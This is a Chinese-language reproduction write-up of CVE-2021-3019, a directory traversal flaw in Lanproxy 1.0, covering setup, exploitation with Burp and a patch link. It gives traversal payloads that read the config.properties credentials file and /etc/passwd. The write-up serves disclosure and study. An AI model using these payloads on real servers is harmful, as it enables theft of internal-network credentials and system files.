Lanproxy 任意文件读取漏洞复现 (CVE-2021-3019)

0x00简介

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，支持tcp流量转发，可支持任何tcp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面...）。目前市面上提供类似服务的有花生壳、TeamView、GoToMyCloud等等，但要使用第三方的公网服务器就必须为第三方付费，并且这些服务都有各种各样的限制，此外，由于数据包会流经第三方，因此对数据安全也是一大隐患。

0x01漏洞概述

Lanproxy1.0通过../绕过读取任意文件。该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。

0x02影响版本

Lanproxy1.0

0x03环境搭建

1.下载Lanproxy安装包，下载地址：

https://file.nioee.com/d/2e81550ebdbd416c933f/

image

2.解压后运动到/usr/local目录下

mv proxy-server-0.1/ /usr/local/

image

3.进入proxy-server-0.1 bin目录下给startup.sh加上执行权限，然后启动服务

cd proxy-server-0.1/bin

chmod +x startup.sh

./startup.sh

image

4.在浏览器访问http://your-ip:8090，出现以下登录界面启动成功

image

0x04漏洞复现

1.在登录页面，使用Burp抓包，并发送到Repeater（重放模块）

image

2.在url构造以下链接读取配置文件

/../conf/config.properties

image

3.修改payload读取敏感文件

../../../../etc/passwd

image7.png

0x05修复建议

1、目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://github.com/ffay/lanproxy/commits/master